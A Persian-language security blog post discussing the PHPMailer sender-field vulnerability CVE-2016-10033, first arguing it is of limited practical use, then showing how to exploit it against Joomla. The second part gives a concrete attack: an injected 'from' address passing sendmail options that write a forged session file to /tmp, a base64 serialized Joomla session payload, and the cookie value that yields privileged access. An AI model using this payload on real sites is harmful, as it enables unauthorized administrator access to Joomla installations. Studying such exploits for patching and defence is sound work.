باگ امنیتی در PHPMailer
این روزا آسیب پذیری ها واسه خودشون آقا شدن، شخصیت دارن، Drown رو یادتونه؟ دامنه خودش رو داشت، لوگو هم داشت! یا dirty cow، بعضی از این آسیب پذیری ها موسیقی متن هم دارن! بعضی وقتا این مسائل حاشیه ای باعث میشه یه آسیب پذیری که توی شرایط خاصی می تونه مورد سوء استفاده قرار بگیره خیلی تو دهنا بیفته یا بزرگتر از چیزی که هست به نظر بیاد!
با تحلیلی که بچه های آفسک انجام دادن به نظر میاد آسیب پذیری phpmailer با شناسه cve-2016-10033 هم از این دسته باشه، اگه کد مربوط به رفع آسیب پذیری رو توی گیت هاب بررسی کنیم می بینیم که آسیب پذیری از اونجا شروع میشه که یک وبسایت فیلد from رو برای ارسال ایمیل از کاربر میگیره و کاربر هم با دور زدن فیلتری که توسط phpmailer اعمال میشه می تونه کد دلخواه خودش رو اجرا کنه، اما در شرایطی که وب سایت فیلد ارسال کننده ایمیل رو هم به نوعی از کاربر بگیره که خوب خود این یعنی آسیب پذیر بودن و امکان ارسال اسپم توسط کاربر! با توجه به پیش نیازهایی که این آسیب پذیری داره به نظر ما اونقدرا هم کاربردی نیست.
لینک خبر: https://goo.gl/haB5JM
لینک کد در گیت هاب: https://goo.gl/Iy4wsU
دور زدن فیلتر phpmailer (به منظور اجرای کد دلخواه): https://goo.gl/ySUx6W
باگ PHPMailer چه زمانی میتواند بهتر به کارمان بیاید؟
ما در پستهای گذشته اذعان داشتیم که این باگ در موقعیات خیلی خاص عمل میکند و عموماً کاربردی ندارد. به سه دلیل اساسی:
۱. کتابخانهی PHPMailer بصورت پیشفرض برای ارسال ایمیل استفاده نمیشود. بلکه یک جایگزین برای mail() پیاچپی است. (البته در مورد سیستمهای مدیریت محتوایی شامل Wordpress, Joomla, Drupal و.. این مورد مستثناست.)
۲. در شرایطی این آسیبپذیری حاکم است که ارسال کننده ایمیل در برنامه خواسته شده باشد.
۳. الزامات اکسپلویت شدن این آسیبپذیری سرگیجهآور است! (مهاجم باید مسیر کامل برنامه را بداند! و برنامه باید سطح دسترسی نوشتن در مسیرهایی خاص را داشته باشد)
اما راهکاری پیدا شده که میتوان مورد سوم را تقریباً دور زد: استفاده از نشستهای برنامه جهت بارگذاری فایلها. (اما این مورد نیز بسته به نوع کارکرد برنامه برای نشستها میباشد.)
یکی از این برنامهها، سیستم مدیریت محتوای Joomlaست. از سازوکار مدیریت نشست آن در جهت نائل شدن به مقاصد خود میشود استفاده کرد :
$email_from = '"attacker\" -oQ/tmp/ -X/tmp/sess_f8af03562e674480401098254fe223e0 some"@email.com';
$msg_body = 'joomla|s:1572:"TzoyNDoiSm9vbWxhXFJlZ2lzdHJ5XFJlZ2lzdHJ5IjozOntzOjc6IgAqAGRhdGEiO086ODoic3RkQ2xhc3MiOjE6e3M6OToiX19kZWZhdWx0IjtPOjg6InN0ZENsYXNzIjozOntzOjc6InNlc3Npb24iO086ODoic3RkQ2xhc3MiOjM6e3M6NzoiY291bnRlciI7aTo4O3M6NToidGltZXIiO086ODoic3RkQ2xhc3MiOjM6e3M6NToic3RhcnQiO2k6MTQ4MzM4ODA2MztzOjQ6Imxhc3QiO2k6MTQ4MzM4ODEzNjtzOjM6Im5vdyI7aToxNDgzMzg4MzY1O31zOjU6InRva2VuIjtzOjMyOiJuWmx5ZFdYMUN4M1VnbjhRbWNLN0RnRGJNTkZBMVFkeSI7fXM6ODoicmVnaXN0cnkiO086MjQ6Ikpvb21sYVxSZWdpc3RyeVxSZWdpc3RyeSI6Mzp7czo3OiIAKgBkYXRhIjtPOjg6InN0ZENsYXNzIjowOnt9czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjk6InNlcGFyYXRvciI7czoxOiIuIjt9czo1OiJzZXR1cCI7Tzo4OiJzdGRDbGFzcyI6Mjp7czo3OiJoZWxwdXJsIjtzOjc0OiJodHRwczovL2hlbHAuam9vbWxhLm9yZy9wcm94eS9pbmRleC5waHA/a2V5cmVmPUhlbHB7bWFqb3J9e21pbm9yfTp7a2V5cmVmfSI7czo3OiJvcHRpb25zIjthOjE1OntzOjk6InNpdGVfbmFtZSI7czoxNDoicnVzc2lhLXJlbGF0ZWQiO3M6MTE6ImFkbWluX2VtYWlsIjtzOjEyOiJhc2RAYXNkcy5jb20iO3M6MTA6ImFkbWluX3VzZXIiO3M6NToiYWRtaW4iO3M6MTQ6ImFkbWluX3Bhc3N3b3JkIjtzOjI4OiJydXNzaWEtcmVsYXRlZHJ1c3NpYS1yZWxhdGVkIjtzOjEzOiJzaXRlX21ldGFkZXNjIjtzOjA6IiI7czoxMjoic2l0ZV9vZmZsaW5lIjtpOjA7czo4OiJsYW5ndWFnZSI7czo1OiJlbi1VUyI7czo3OiJoZWxwdXJsIjtzOjc0OiJodHRwczovL2hlbHAuam9vbWxhLm9yZy9wcm94eS9pbmRleC5waHA/a2V5cmVmPUhlbHB7bWFqb3J9e21pbm9yfTp7a2V5cmVmfSI7czo3OiJkYl90eXBlIjtzOjY6Im15c3FsaSI7czo3OiJkYl9ob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo3OiJkYl91c2VyIjtzOjQ6InJvb3QiO3M6NzoiZGJfcGFzcyI7czoxMjoibXktc2VjcmV0LXB3IjtzOjc6ImRiX25hbWUiO3M6NDoidGVzdCI7czo2OiJkYl9vbGQiO3M6NjoiYmFja3VwIjtzOjk6ImRiX3ByZWZpeCI7czo2OiJwa2M2cV8iO319fX1zOjE0OiIAKgBpbml0aWFsaXplZCI7YjowO3M6OToic2VwYXJhdG9yIjtzOjE6Ii4iO30=";';
و با استفاده از مقدار f8af03562e674480401098254fe223e0 در Cookie میتوانید دسترسی ویژه را به همراه داشته باشید.
منبع : کانال offsecmag
پاسخگویی و مشاهده پاسخ های این سوال تنها برای اعضای ویژه سایت امکان پذیر است .
چنانچه تمایل دارید به همه بخش ها دسترسی داشته باشید میتوانید از این بخش لایسنس این آموزش را خریداری نمایید .